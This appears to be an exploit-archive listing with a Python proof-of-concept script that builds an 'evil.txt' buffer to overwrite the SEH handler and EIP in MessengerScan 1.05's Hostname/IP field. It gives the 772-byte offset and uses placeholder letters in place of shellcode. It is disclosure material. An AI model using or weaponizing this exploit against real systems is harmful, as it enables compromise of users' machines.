MessengerScan 1.05 SEH / EIP Overwrite Proof Of Concept

MessengerScan version 1.05 Hostname / IP field SEH / EIP overwrite proof of concept exploit.


MD5 | d01b51ff6d93ca2535ac08f25c5e60ad

#!/usr/bin/python
# Exploit Title : MessengerScan v1.05 Hostname/IP Field SEH/EIP Overwrite POC
# Discovery by : Anurag Srivastava
# Email : anurag.srivastava@pyramidcyber.com
# Discovery Date : 18/08/2017
# Software Link : https://www.mcafee.com/in/downloads/free-tools/messengerscan.aspx#
# Tested Version : 1.05
# Vulnerability Type: SEH Overwrite POC
# Tested on OS : Windows 7 Ultimate x64bit
# Steps to Reproduce: Copy contents of evil.txt file and paste in the Hostname/IP Field. Press ->
##########################################################################################
# -----------------------------------NOTES----------------------------------------------#
##########################################################################################

#SEH chain of main thread
#Address SE handler
#42424242 *** CORRUPT ENTRY ***


# Offset to the SEH is 772
buffer = "A"*772
# Address to the Handler Code
seh = "B"*4
#Junk
junk = "C"*12
# Address to the EIP
eip = "D"*4
f = open("evil.txt", "wb")
f.write(buffer+seh+junk+eip)
f.close()

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